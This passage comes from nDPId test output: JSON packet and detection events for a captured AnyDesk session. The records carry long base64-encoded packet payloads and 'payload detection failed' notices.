+gGJTj87EFzNIS9AYd6zNk50dI7oHD0dlhIenPbg0P4y1PXK6v2u1TNzBTVB\/Dvb3PY39gOKMhPuUIrmu4vxK6DHsnm8zIienswVTs9RwMao39G+OsW5HoVnAQvL\/gBr6igH1tSTbCuEm3Ndn53\/wXUAN3WwZAT8wjXhsbiqB\/EHGIoOqwD0sibmYOpKkmw0jTFvHfk6duxkMjXcyoAU1yyNqFBEib2eXkANPZRWq4pwtZSDNI6hxLPN2PSTkNIHGrHtFUnx7OTGuZe\/LjOO4Vq\/KHmAjRV7qYhKtcS2bq5VEeXCqKBx4JvKo5LMJlrPynEwxwwxhVAif29MpxxUG9DYvsDYQZoEtOfKEU3WuBd1gI5NK70hmc8OgBtlluJqJQP\/kIaWgCbtoIE2oi4i0b8YIYGIIMe7xdcNMo3+b1aKgM0mgucTSe1\/LNaX6Ta89n1+CrZgOWi9dCUZJvtrtTHS\/nM\/LxM7wOzsiQyqVRMYDgk9n3KBkHZh27fxiKhmaWOVxGizUB0R\/3WuFyXaXZt1\/Vs6XHFyMlcVu\/sn266SPRRZTWtqupNH20xyAeADqgPMuIAKsaEzIA1LPgZLTsQhPoPKRLxHQ1Oph8u2CvI9qebVkqvOxQniMgvcE0ZTOK8jW75CiKkMjzY+7beI93Lvl0qtxj5CKfBvKFBNVtr+nGWu5PGv1NF2\/T0jygPd\/WNc8IJkjOm1P5PxALjhK20fftMFRlXEwn71iDSO8IxBLDpc5vfSSEg5lMW+HA7GSkKIqBeyTbOtk5G4iZn0frdIgYntjCulPV6c9SW98ZggxD6MrQXiy0NVIg=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1317,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1653} +07812{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1322,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":43873,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfhlAAIAGAADAqAG7wKgBstOUG56PJfjWWcQwp1AYIBKExAAAFwMDFXlZ4hNO+msV9R+\/rSJLYCz8Dcet1I+7FDF5EoNzlQ5RU5ODh4OkhzCEgLFFWkCP42RWj18anwcTvZptUI9NayBfbVjX6PTRAG0HHAD9I1\/ap+LEDiWHgliU4lFWEDumzGmmCH3VYlye9sHUinSWgAphotOti+A0jG19UkiD3gPvlxNgOVhnHWuC8vI0VTEMLl9D9R+8gbIzMxoKfhPzB5TKAUunFHF0wtHYG5m10DW9tOT+y\/0iBjw5u8utzJngTpSZpOVZ+MdxXI2RNJ5Mq+3PoFAkLfLtAk78p8Jq8cAhxFa\/fgNXjaPN1+J10HBdpKf4tILxSP9XbDkmsYINZ69MuL5a72bfW4RL4RhkGGVlL1B93iNsBTc\/wG4JKzNpe8hsKGeFWhKuRiVUwKKpMOaR381cMfIdyUtgxPKFrLDn4l+Xk6hZ9jEFFAXjE2GkC\/v7shTzNlUEdt9rR2s71tKigv\/9G3FDQOFxnMvDUukW1vbT0hDQCZxM5fXcl+ulZ0y7KPqRJRGePjQ5AfKIQMFTbxRNB5j1AjmJb5xC2Ln\/ev3TCODTWmTTwNIyPLQVlbP+HYe6VVMtWgVPTIJDjLSDyYmI2bcwwFaGE043rQvZUrcMXp+OKss9VITOKpe\/okzwoc4gVKq3alGa5chUkMG7xBv3zs76l66T3neNXYSNMhnx0XVr6KUsr+2ifGKr4Kg3LmrjKjGPzdFlFY+9XbfKwjOCjAOLckTX6vuGB79zhyV1Mw962QO0q2dvHgMJVoLAjSoaktRLvvt20YDJrftj\/6ZgvYuWvMidLte\/sDdo17GavmaJaWpcSA7GdZs6wfuTMdORiL2G4D9V9pmU4rUwZkNLGeB9+2x7VeeBbgHLZyjfF3olltDXzLR9UO2lfaig4fFuxeE9ofMzxrOkTY866NRO+8EbmpHatC8KLpkUO4Y2TlLwhJhIxkO6oNhuYPr8tb65Qow\/GYH14FCbrBjcqyvn4TlnqJv7vT\/RQy5IdgferLbZnZTEpFByVBQkzOiJARCLK+PItWzZOVgpjlrmVr7LM6CzsCQLN1zvbjk5UJf1UL5FG3\/ukiUtGh4UPrMUF5L3V9Ws5gkxlZgPkWcUr6jFPV2bqXNE2OB49\/pvl9k1iJl4L\/yuYc45xKLkT6z8FX4+pzcLgzphU3h8M0meVZPzJKdqVtyZckXw+AR4291w+Ipmg8KJ7gT+SM16eX1sH0EQwcyV3sfgyXAr4NVdCEgDtWBQgF3tZJxhBl8439Ps28CxJ0a47UOudZC79LdMAAGgP1cWgG1lN4sbQLiuTzEU1K\/LeDdzAffWpPMfRtqJ+sP2Ouefr7r30GOiJWiC2bMhfq97Y2Qs7PyYCGIA51aHdWfkBgGqeqH+KPhrL+4YIRfQcuMK5tKJw0BBVVMiuwOFXzfnoxef60jDVpBxR8gyiB9e50kU5oDhWo0hZmJzcdcuabm7w9Erd275ssHs9B+aHV87Ps11QnAj9KftVBnAwnrKzdgVVGI1MoON4NF9zciBi\/xk1vaOR+fgOBVtCSOtVMrGH947cMM7l\/ghyHaqd0RG8AFV2W8YAku9wkluNF1ZN4rg4Au+IBKHVjXY6n1SmzdMGUMzIGvszBdlTWGx6UGUIJ+56PRBanMV\/MOjVj2Evq84+8PFzZewdzdEM16TzkQz7XgHsvEtCjvujV0tp0s5n4OuR5OyWd+hYiP5VraaVhBpz0FQpPRW6Z9nTTXLCUj2CP+0VJN\/yt0HGqUX4Kbi72fH9FP0E3JfhFACgJM7Y99R+r4Lyn5QjCQ0S7hZjk8cMK4dftcIXFyh\/6XEolNXtx5gdgy6DHV65iIGEKEDT8pwFB79aojED3++QasE6DzeVlBrVD30hPR0i6KrnBE1+gmcinntgCIZcHn\/H+Q33Rb44U9444JMKzxFDqYwhWgttVGsgOcdG2u630QqUVCH6OZGrc5seq7xtewC8ecc7x80i7giC4DIV9U8mG6l++479RcSFbRGmLiPXDgK98fv4c9ErWnHIkKmp6TjTDsdo8ddP3w7yH+shS1M6r7B1YAULgQl3DaBt3jlDGSTzaUYkHIJaEnegTGMHn7NJYLxQ\/FTlrAVhugordSkEJ1eNCy\/trDn4X8+zwsgCg+sJ8NCXiAto49mBsz6dZvkbDzjDhOT8CJ4su+Qo9fGGB+5NVnckZ5tmHcehvGUeydHP1kPr9H6r4VkiWl8WQr0SovdTJLxm7jOdb3ZVPrP8k0EU8o6gIzehxQIZSJrVq0DlYjVp31MMIeraMyxxev6vJf4TXEN0wopuxsI4Ul6WE\/\/0PClUU3ksoiWya7wqBGHN3bPaReJZcvAhr0P8OSyYF7WRhsH5C865PbkICBLQvToTmdn5riuS03YX\/S91qrf0SxhZG2Ugfd7IQQD1leSSI2WlBGjisoNZclX7VwoZ3338A9k3PSjcUmBCb1hsoUvhJojNBb8MyUGU66EO1b83dMR0A8+AVz24UgPRqG6OjF3E4+atqsEN5cNc5Q3fEUK0JswFG8hw+EsU9eBVMYBt0ZeEBU1J7S73DDP19CooP6NwPJRAiCCVhfk3e0Ir8MddlgH3MonY5RKSH\/jlm\/1Lk3SECFm3WrfKsXNxoysmbm8fhtJxvzxDDQ94Hz8TZIve5qJJ\/MrYhoJ7hbI7LOTjyn6S0GL4PEhC\/+PuHHMe9\/rDnWTnwOT4aMOrBYr\/gYtxLEBQUbnSmkr6X+vXyQKOQAI\/K2XDC8OWugWjmPASrgZ\/\/YFwCiMBWVkMmV5OMEgDThowbWN54BtoX4ft3wjM+ZJJJOwO9OBIVf2nd0Qdl3asvvcGRUAvUJNgiCa19I7vao2nB0ilcElWpM2ZUz0QX0tV9JB3MGXuy23ReCZYxPbSANAtMk7twXfijjVMQRW6JX2W16O4hisbSsQAZNrtMn6dPwLErJYdg81hD3yZioWvBBruHLB7L6FtXf3T0iq\/uKd6LUFo45P87RfQFYK6khZM2V\/t0LggFIHuWAcq5+IHvLNsfWS\/XsJY2DWH1K7upoEi321RB4KxL\/u1f7ZmpRNMIY768oYQv+bbAFDLUadL3y3df5YDiiJjdgNzIebGm9X99DwfNFmlGm+mMGBflGIXbUlhB612cdT9mMHKCZfPPhYmVKg+IB33gOXOCMYM49hDWDEuwmGGPPO\/s5GYbSrbtvk\/xyaLQ\/v1O8\/1fVug2twRtxn5ceK89KMV1cZiW35MGe7s508\/o\/uSCMitTPPNynXKsfSpRvwYQfvcg0lZEXP8mHWi9fimmMSENv6uUCkpaj\/5A7X4jOMYqZkyME6JTGzilEtZkEkdmqp5tgySl1ZVNv0lzvjb+GDZJOrBo+rOJSrfjf+s3dC\/VXJv2tgZgWCiqG\/ckBJl3Ct4UyfBP6uZDH3lKr3jdC5FQj6bcdj+aIQt4L4G0Jyu3iNDxyMQ7vlER8+ZRNESHLVePyRoE8N7USeJ0U+2KO0RC1y4Phf3brFglQtX7COUlC7JFXomzqes2pYUVjiTjabjUmfRCaICJK660+eYin1EfMgjOEDmH09yQjmlfKD8texkadprSSf0q7oqAscg6wYdy21caEsU6+fyRgzXDDnhviZNVRDWD50aKm3MFcfN1vs+7S50b32XYtZC18uRiGf+MFinvgiDimsgX5R6J1nE5KpClkzXgmQjLJU500HZkZJQjOHM3H+KJyr+FtpQdnlU+k\/+bdiBFSV0v3Vl7wZ5sAZYdV3YrcwswYqn6vTbCHspkGg01V2tt3EgFA6ww1p5r64LZHBPVTs6ICylNKMn5TMKoZuty\/WuDV+7LPbIzeo4MVFynexCHI+so7rwzL4qWMg8weY\/R87jgdNkXjw5R3iqphvUXbwwGq5KSwKfYmwqNq6+h1IQNpGHQyXG60AU9EaA2VilROztMHbNFaXfwj++DEPR06Fff4h41c91NNwfCKU9+JuO2Reg6TRefNI2GRTB1gpvBG44hFcrLG5yv6Vs2Tibmc18hk+eNWU73Hj7M3FkSjs\/HYdAukTv4kmTPMUuk3tGIvS2xC3m0v3N4JJQ0wx9f4rCB6l7UAt5AZPbZgJ6i1HPmL\/3DH4ZmKX5k65fZnn36KnihHdCk500sCjMLGbqssWjW1TCTMceepk2uAz0VZk6pBfnW05tnrLhMSoEumYcU0WMEyNAkj7s2yD0Csis4q90NhxPV40cw34BhroLuZ90xDW4hl7kmNcPPEIolUxqs0F4bxDyVfex4E6B828zwsxefy57pCwA0zzQG9z7OzrRkUdXK1G70Ihy48gFSjPMiaoHi1PbqdTXaCP5brVZSKuRpewBTrHc79snEIv4zvF6hRSY2IASmXLi9u2kpqVbTXGaWf4UON0S\/tdtXhKklMDZAG+6FxD103qOBY4Ynq1iU\/I36IaKhVDZcGFdS8RLCWVQsFEFLFMRPjgQAAgrHZ\/SIJis8deoAa1ysX4ZXixjKu71hes9Rq2RMC42LrREof+hFQDrn5qUhzI1RExgXGqLV0ueqktdQ6jl3zoQRiMnBDXNiIY9idSCpMUS5nhlxyqvhSDoPx+goVwcKf99A2nx5\/\/qgKse2Vs2KR4a0yjJ4U61sH9p37jYuBf5vIAYdl3Svg9Uzj9iNwYUNl7FIKvdweMnLs6Ewh7XZEFrdGYslahg4f+oxDChhmjZcTVjVGPSndK2Dcdz9lwdN8h39dS6jDMFSOQlq8cLFYvL85nFtLXztaJNjvmxcN4JZqNyWt\/lUosG5oBuGLI4W\/KXikojN9DBRMJ5JvCcjAh5JJRPeBzjFI5NzkT+1As87E1Svr0u16H15zCBKQkvY7TXDKB3iH\/M+5IRwqpqKqSh53\/qp6nXm+nxfzUlFh60FY3AZnROVP9U8gjiRPbIZQzvl6IeoNQDxyFU3Dk50J8KSbGzJZmRp76sRFZRdLE5+jzkI8p25lVrdoTLGllHemFw9wg6+5xaB\/9hYXsN0++gyhUx\/n2rnJ6Ajxebj6kdbt2nSRUQjKI15vHOpTeuxNC4qUeeIOjqh6dUVO0CxvqF0tLiZ06ah9XeNnXVnBLZyabPIEGDzAWfPbCHORdiL3Nqiw8pF3RwUAqvscsrq\/5W2IiQ+ltVfsuCMo3lSFTFLikA7uEgewDwEOL1gRDk2XvIgNxfyFYX45ocrItWrXmyHqJa7CfAflOMDP5oq31Hsno8LLe0GP2CTFeqJSbve31qQAIV2BOuXb7noIX2o5BqlkaFlR2Cs7VNVfwNb2\/EEvYiSQGxqg\/rC80Cc7VAbYD2uzNwew8HQNk39OaU\/cYFb1TM+qWwFZ12mBiS9i5evnQi0LHk7lcvomJTtAb4TOZA1wNLYPoVcwSlUgUR1b5rdIuhWjHLYsAqMxel8st69HI4iGJLxMm8uS2LaKZ\/szKy\/KcxvEha6QFBAgwzXRUBQP+57BydUe\/kNMFSbzMw4FFuvD5aioZqe65CIQSd+uBkH3U3ORId7kSgRpvrQTtNogmm1cnCs7sHTMeF80zV7TTm5++gvRk\/zZ2uETRlx0OIiNvXiOA9jHndCjbtKIkXqsUGla\/IjwYrpO0rztumGFIXUHHxKKectzucNMV+RRSLuY\/z\/GvpjuxRj2yFP1AZnMxrMI3e0UodRtTnFfStG9t+w0pZY4X+qBV+pvG2oUyZj\/4rUhmEhoi5ryU26a0ZR7JP\/d64ObYMjsmcI1iKIciLxFahXTo+dLV01AVhHNhHwXum0mmWPmY+sozcpqkOQAaeZ7LMAZsz1l3MkLhrTlEPupnlgHflHLP5CyfDDiCn4gUUFquE1nI1ZxIv77z8BAkmYJX5J9S9N7ET+AxpuD\/Sodea57Rb017wt4rjNHPPS\/T6QFEFRZyU7syKMi0qK\/cogJUQr5UniijGAghpq6r53wG3f4V0ngA6p7dRWsw4RJLkGH2A7LGAEQd07KvsjKTzuSdCOP0cdzeW2eBqslXGa9CAkOTZwd0SYFIMHpgD+bJhHIpQcuC5yB6R179OyNlJo8oTIT5YIrKHUCtBD8WCkqDc415StPSo1JGlkueTTuzLoQIiJgCHP0xawXQvvW2D+yevy7a+sx1cKzM7jp+Afn+fge5FhWWYW01Y+HF3EieXoS0qKXs8M0hGooWKOStM0p7jz7qrUBfq7cF1K9gpA9wnd3dXRFM4Oj6hW44\/cs4OxhOckj7fR0bvnSedEIWExkeDEoT+OrcM6blpwmMdX+97WeQbGYS4DpdMDMc2GKc3HaFHmL2JfY3nddquBDUNn0Pf7BPU04Fku8\/aq2EmWbyxfylyp6ILuymcOyp0KaVreYs1JaPFbVocTNP6oA3exgj08HI759mFpzn941kgI2KSw0e\/+O\/3uaPTNUMKhMMwYk\/TQd4F8IX4Qjoi+hkY1wI0sk1\/a0hz8rFVnZ3ktGocWDTedyfd6KAFpZIjdMuFMrt7cYq+nY\/AjWiiMKu4LmOa3nZAVCr2M0ZHu\/ld5HxgydCuX1qQpufE5R3q0tn03EsWL0pCWJeXSwJJAttjWznDpn0h\/VRZ3Rj3LTD5ko7fYdRVPWL8CLfLqgOUPEyM1m8Vcc12QyqSmbFfp61MZ37pGyEsvA+9jK3L7JO91G523JUQEfQBA7QShltoDExuhDRp1IlDN8ZLF6z7mbQ8FUTF+T4ry5orpzjmDTZ7KParqa8TP8yCGmKOGQmX5XM\/50UvKzvbaZ0Q1JqKrY2YNdJbbyBj+mt2Bd6VQ4LXQ\/GudEIF6pcuTpGokW9vY6WIVcPrh4z9NT6VX5sF1VKPE7yWTWLfknxeHhp99Q35serv\/\/8jiwVnr87Lab5OnC6zN8WVFTq5orP3LNVi6tr38C1D4YF14zm6fXwVuU8hVagAsdA1xLf5NvD7hriDg\/wzKzLZro0kgT3JMPlCoKiMUmIXMMyZhbKuiVnxKEToY8R0K67yaCrqCZjviETBScMet8ulJgXbiwImaV5HzzCaEWL3EVC+cTV6bzGwZX6q\/dHviYZTGVVnlJ8WNS9lp58Eof09ak+VO7GFmG8Jciq7F59vmZtNK2TUTlVi7CPsAtgx1yzeX0QQ+GOsYsdtBsE1rHUzJauZOzix\/dzmHW\/NPNbhEnotaMGJUd+f1C5wdGdUrU3akQfbnp1P6SBCrujfkFFTR4j+3G8CZtDnB0CMzRiQC5jAhQjNBxm7aR6ezzi52+ppCP3C+Zvh+VpJ42L9InnMPsJGHea89YHnrmBfKfHzAzx2sGrgEsdGmGJV8WvGValojyDFX7AkfeoPkDWE16BZ4Jj\/r3wkf9LW8tT2uCCoxDc2wfcXdEjX+LPnYrOHucBGzGCjCfVAyZttv9f"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1322,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07195{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1338,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":71736,"pkt_caplen":5086,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5086,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAfitAAIAGAADAqAG7wKgBstOUG56PJh77WcQxNFAYIBGExAAAFwMDE6NZ4hNO+msV+1tTcGFmPNKwda3qjDfIG9u5F0ciE8jcOV+GUTJ9zj8rea\/ub8SOahjc63BiXbu9oauOi4gfmXoesYoniay7aAU1ppHFRdbXu2Z+RwzNLKSl\/q+f+LfTGv0XxeAX2qWGi6CgU\/SKsTH0MwNt7IdARyRm9cCtAw5wof42vCuW1oNVkfFVkZKW7pn7a3X7vhMj\/3vhcemUdDkkGbC8X7DLlDKuNPhMWmZfQj\/ZABk8R98k2jlYq9vbvs5\/WJ7CrCgano8ILmf0lcNU6KLhc7+82jtFVClpwaGcVWyVce130JxzTh7Nk\/7QHIyyXDaBmIZ1SftY61Dz5WUH7+hzvpOGH5DnmwjSfEck9+MhOtW2p+DA7AZRYpko53zN9IH8X1qyzZaX6VpP+Z7nWbeEDu6gBn5GaJ8TtZsIdatRaWErH2Oxvg\/hXAcRIUnBltqx1+YtLSrnfOeLdog40++ohug9Mi5JVpaJY4GO3I+\/F9nl8Gu6Xqw\/zHFz321Q008HkF\/qNFFs24SFmz5G47\/iZMLEtNA1mlvVuL9StPfx4bMAcO3BDGSdf4ihMqU7K5fLq4VCmILEj3qe9TcooBXh0Z3c5DwRsJx8vBkh6sv2oNEFCbbqfbZch4WfCwKrV8w2gW0QzMeD5ScIaohqyCzBXreWHYKBx7OO90jRKPufFpvZuD4nQLsXe3yIbRZFzcapn46HHc3WEfC+devqOHmelDho9Bx6o73YfYlIVKLDZCEyl8jTymwX0kTZBkgRJ6+EcPWwQULJ\/kXKZSbV4LqTrYZOrSv22KYNAGvWaq5XXOY2RmSCpqJkZkO6n4Qleu3Omy2+Qg92AhNqEZ1TV\/2f0FpKosYXbZS4yrfmUDNX6S+ziC7daZOgZVVb1mzp16kYODsrTCxIWfuyTnFlrrviFu2v7GYSGcB5HfJCw8WlLe\/sxJFhiiZdx0VWg2dsB9XKVnK4uocdklFJZ2rT1YaN\/kAi\/N5s4RTuK7eT3BmOm34xykgRdrRqR5MlqQZvn6alUNuzvnwVO+wuO28V58MI51dSD8ozSJBCBt5wvXUDE8YloOtheRsoOH51Ii0w87t\/yG\/qoCleDFO9ui8mj+MMnf1jUZFo9RW48SsjkM7AtZOCs79\/gGzWzljDFyw+ZVA7ZPSfqm9LvxGZx+gD75+1IzumAekKm5zM4e1QGe7q27NCTT0zKnHMUXKH\/+cpIg+j6maiTa4H1HGZQfmgU1fp6yXqMyrghaCQ54GIBErmLDA\/qC0aK6foDLu9kvhD9jFDAlE+oH34737LLDttAuyO+Ew7cX9\/sNxoQHbUxdulFQkYBqLsELhLRIadueqvkmDOP8Svrvca0HoDp36VAJb2Bsmc5hsz5vMSoG3ffpss+hbJG1wS\/tJxCaRzyO8UlzCj6TapcEG7ePpKdc8ntTGDEvSi2neZzw\/VyCx0Q7OEB0MBxW4JERhVCG4x0V8YvFqcRm0XolVNdMBA4vmMj1PdVHVUiJBmokp0yjpUElyQaoievoXghu0UTRIwTiWey6sxXGbSdo4Yn+KA5hpmm0+5So+RRO\/7FEz1omKzomA3cL3x281t8mEsIQoxJTQ0hVvNvuqv+nLN116m0NB368V0KadbcZjHcYlZ\/Web4+FqzMWrjHX+FFFueD9+8IH01ruGQ6Aq\/eHsjxH+RSUw11XiebKMDIy2xNTekF1oBpcliQCx98owuqNDr43O7F2Kmx0nBI2\/DOTqaecsHALcVNLoARdDofFLfCgybvnsOcWSx9ocqrrLdxWHb6AbK918b7A9hgQM2M0BIuT7Zw1DT3bd1MvvB0d\/k8AqhkvUPFVVYQkoyKvfjVslHTg9vEeWzQhppYxxOrdaq1zsImQlnJpj3rkSU4EngMPbMlbty9dZ3pPCPATy32DwuqxkUIHVO8DblUaa6FY13iz9PEHe7KE995uIQFQsYh+zlmsIzgej9IJfA6\/KbVvLgx6IzqhyxfGS\/+T4CXN5ldWfLZJLNOR\/qLJ8n8NqUZYrG5pmschBHhxQ69S5LIhuHmi0sIjTajEPzzjNkJENrhLKiHJGid1NTAxQmIFfDyFF0A12dejXCiQrIJ5S8BhhPN08sL3ld5abqCnVU9qCcIHeQT83lCemR1eDkd9iLU2ADxiZY3onGtQ1tNpU93dXHNLpb2pZ8Ud1hDuhdsab0oNb9aZwwOUuE6sjyveCbkpuXptjBOuzVFVbK25nX2PXjFo1Qr7LmXrng0wt1AR5xPPijYIdbpM1qp\/5cQ565ye4PK6eRa\/XYJSt5nHabVhQ2gb0fU08gcvDAhOOP+FQLlqrcWiQ1\/N3VvsM8OcvjdzqomkiiZYjjZvjgVQQJOujxYC94So+MuWV18gaxEzLfsOC488v+ats\/3026CQFT0VHqptEzqhNl2qp02oSX+878dpDoRqKi09cU0t1Sk2fQ4Ou8tgbCZ3ML+iBP+yLfKGA1K9jsO8aiH1kXlJB8XezNAAVxgJSMmnVIdDyK\/nI2YlzEqOeKYxrUVDxcBzVAMMfR6uc4VrJJDjhwD1DzI05xb5l9taGKYqslbcS6IrChGRnLs1BxMSRD4ia0Sa7bwaLChIH7qbMPaseTbiTp\/fO94IcUueQYZzgVFGU3jR\/PuPF5iWfuOG17WGVZSTmljTGC\/7iVxRS76s21VADVQQFQC1WStcP0L2DMA4AH9QVtZD5oCLY0usyD6lrutjq3Oe5bBv82+MNl1hAd03JJzpnATOzl5E8A1gWNQrGird57r+cv+b0ZM9f1PXymqC+aClHzBlS0QLh22KdsDva\/w\/S3cKRAQqSmp8Qg99XxAIQZRdvN\/1370diJbgyMoVqNH7LZ3rnpomg\/+TgyM5Xg+U8PWzezsadTkTcFf1yRJAXhXatz+m\/26I6eihZpWK+sNWv21o83fd7dmaMCMT7hv0rgb\/dKlaVSZz6Qiu\/fkrV2P8LBQ+htd5ptNpw+jpVn8ulB5OZ6+R4BkTguf8UBnSqV5kCH0DbBj+5RvSJydAMIl6Mt24YH9INa2mduI1e20V78c6TrClD8M3i4vH\/GqEWnhNGEOpoVNWLlECmFjHVtqs6YCwtV8\/OS2eAXI\/m80DUq8+txwFQuV0XpZZprWdK6aiyIfuCKIYwkg2RDqunsaZWfqJySPA0HaiMVW6WH9Wj7RegscZzkVaClf6jN8pUdK1jkiWrBOBrskvn\/odmxUdfGnck\/7UM+yCeUrjND4bjPSK4gup0yEzXW8TNYnoBucwdy5RBMadqyMyQXE5\/twpf9xvVaVYjLyexp2QpN6QrtanfxGwW8UmubdlZ5oXqzSDoyv3A8xUqVuGhGLYgxQXYQNibapzG44cf\/yov\/jWyx3x7JIJGcwXyQJDxxVWd78iEzJckT4WkZ6WCElR4iehswgr6xQFnLHPLNPj9PwV3QYTlwKG0tAQatSKM4YZ6Msxj84VpfuI8SMQy7tWpmaaWrOYzIioEXRYBXGNl\/IPwgxYrCJvENbX0EUnQHJeZ2sRLhRZNLE3V19UgS7h8NaCm01YokXWm\/PD+GlGA3Tcb7AG7ywfCheqTTy5nhHYvYr\/b2sUcJBTZ1R5YM7RcnX2RAzGhpAAfUS4\/26aSVRIewlomt814Tci7y9Mr+z\/0EscEOSs9FaxWcajMu57TJOkbZL\/rysqrFqyOsG24xc7X\/uXC8P\/TtVSIfNBRYvxWrM2\/Kow8Gzw\/Syzb24Jt464OxMoW8nYE8zmLZMKc1oay0UyjC4Ry6DJHM02QBt4S\/uJNzZKPeIpff2Ncpe6HVBgVSDDA5Z+oBoxCtN3xF5U0W4X8LyixkhOJeHz9oSOIMfxX0\/FYXLMyeMV5VRVMCUZSULDmdIOusnDlHZ1U4Cln0jsQLggk673DAucs9dqAYd9ZD6bHxEw0Z8CPb0nuLInrATKxwtwXKlXy4heuErSRepYZVBcTjvaHxqhMG0bLU8GSbk8DaU7dmfrzzWCeoUcHDCIEdAQCThcmag4y4H+N8q3nhRHcNdSUcpkTbeGmVhpyvkYtt1PnT5Gy+waFTol3W\/lAFB6dfyPOn\/CrrqVgD1NwFhVxKKNfduOREn1LMixgJdTW2tUytB1S6KEaPd3fziYvXnHM7izQlzffCd2SsYx862Zz+t\/j4BgrQTPAMwzigIGHldG3YOm1EdTvT1bcAOYLLtLi+xpOlKrFbXApn+2AyXqhd8oM6Vb3XeVqrTH3nU8JKe9Is288fzo6ut6ep7J+WJsfgO+5CMN03c6hjwBC48hzRZk6NnPX4zFD3MOlPF1w\/bRVCUHFALAPOXvrgArOWuVJypuZFajXv7+DQ5nf6MU1zcTFnLb+9taOVgdErDC2LOkLMPt37PK9Va7TxdFpj4kEnpfHAS1eK82OqrKJpJ71sUSebVIwdbPMeqkv0rnGXFAsxJL0cXtNX75grIr5oMDmRUbhG\/9WRsaCK5GdSGxejEXl8V8zySwn5uWcD16f1QyCls+WdigvauYm2tN619kccCOyeh96+9OkahwXxqKSP0QmjA\/oQgja8GXur8Kt0MH0mqvYj6BybtwFUvNpxCd17HtN\/+8E\/Uzg4a+\/gF\/8L2BdYOc\/o9vXjxbXH540tmBFI7iQS9BklRJIcLDW3otglKhFH5K51lpTpCrkO0Bw+AzbDAloihGdKnNwAow9B2UdK5jz75TGj+Vze5DnAumsDJOZCxEyOswCJGC4ks86uq+sX1ZgabqIAuf9MXqWlGZ0mjbslebpVsb7Yh22q888PzCXFdqAOX4hY0PgGnrjL8xMX8YjVZ3LWksF8TwBKoJ\/2rdoS6vhfvNdWmchu7TTCDDRFuM3cliR8Ck5UE9NaqV7PR18ewgOo2d\/MmgU0D0PYyCkIroeA6Ysd9+u0bRkxgGvTJGYtozbOgnKUI6YUOLSkwpHRODQZjM\/XA2hZSvNBbcGxqNHrHFeo4PtodW2QS0LbuW44O53fWIzT\/m+QjABDCXhSb3lYSixSXw9LP+lWuXXfdu4pGsOB1HrfJt7VyrQcV7MphpJk1tb\/eD2QwQ4eeL4e1BLLtgjcm5GAC6jUpgYyPywQQGNAOdrzYEaZe5OlDs3DGVsgdqdBsEumKYl1eRq1jegyo8vfXksWfXyhO596\/DVveNG8C6Mqgdxq2fGc5Dz533V7jHpMpcl0ryK5m3zn0OWsMoRJVoBhw6AJQ31oCcFPzBXhiItE1GvusXh\/qGXzXeyF4kYg60qDnHDcdkMq\/WWhI3lvdoD80DKuhjKrhz2OP0bx5+pon1ux4xXtuVGIRDYgyg7A+I6nGrRrq2o7CVupvPbTOBLknZFkVXjyWGeVbrEn7js8hYLA6oXIiMrvzE9b80jC5E6D5I3AnTkv6H+IbWgD1+eCvu\/Vk\/8HQYOVlv\/sbXIZN+XTINNqn1e7VspgBq3YAIzECzgDI23eTnSGPsQe9u7E0Lrs2H4wKNd12ZjY1UxG6J+0HfttRXLCDqgGi0TDOisxNCKWiCVD0rT7M1ZYhxhTPD3ZslUxkn50dcACSealnF8HDj6thXelRHMKUcodPxYbAaqbHkec8Sco+bnVQ8GNhTwUWL2ImQBud\/QS912V+aaAVoHn6XeSV84bKRMOXqCfEbbiTAbHr1z41Ft8TLRVjB0qgVkXVVH7M5rzM4TJ4qH+o7Y3zH7dOlly8zJ2eXF2qcN3EpzFSXgOmK1lC9PlXN\/fM6wXBRF1cDLVg1KJ8pGyNQLZIyFNM3WbIXa+74dqj8+67ZODp3eEUJbVWHFNLd+u0DpaFoeRsLryPTEpjK3hZRSfvYflBYUmrkVFzmXoIQrdo4dU9Smrp7QNHM2ZmNaRuRadNORM4aYPED1H4lkwUIkut9lSAGXclohF90ZW6si17YX64VDfJEmO1Svnutz7fiXZnjScra\/UkH4pbPo6xHqlMeV4RTFmZhekzXCdzXP74vn+BQEk6qoEq\/rgsCB9VnSwTHNFXFRwCV1AFwTwaRu4CRoJGWA\/PJIOTOBh0h0WvQdcbzwZ3TTEWQk6BAaPBhzAko0XaQ4vzFpZAToUhhuY7UWjPrfP+CGRCANIi9Z6F0sJ+vfU7zR6Gebf0qWn7++kZnZn\/kzHsBzTmoErqLav1+Z8M5Yb7y4ZXF2COGtB0As9jCiLLgHkhpOfL51woUAnNiMsp6rMyzGQLEIDNQshxY2Or0ZX61E\/nFMdpUvT7SJdpbE0Oxb52G36DPTkD4rdb5a+lvYA3Ur0toOiS9Vlt8hte4jqwYj9PT8MrshR07OGldGmUI4OdC1sFVAq8rlXjMHWG0XvhPskggk5JYxGDggpp4GlRmn9eBihTVDFqzB\/jHQ3uPmNKpa7PnBv8yl8xeBB7U\/SpMNLeZHjrBwRGbZUWYLmi5eHIRx3BtzVgHqaffXJ6ZYllKYaulSCKcbPmpdl\/ejDZOxp2DOEHYSiUzpvHZGM8AvzjPU19nRSDVc\/rU8pm\/evd6FexaSuGsBM6d65ySScS+5p0ycDEh\/I8RHehQVeUq+Hc8APa0Q4UhCv6pc3n\/PyjBEs3M1YLhMuDQSmldAZHNh0T8lE7BSjiUuAoyuNpu2nFrLhcRkYb6RKdRxP1+rrumy7A\/OVTATHuSJX968m\/UZlLUumlR5+yiOKbv5AgKtHpDN3v13Q2mMcs1m\/uvS0U3uLjtruZu3TFMkkMT5I+MqXBxx+xVpBsO4nhxnwlbtL7EF9g=="} 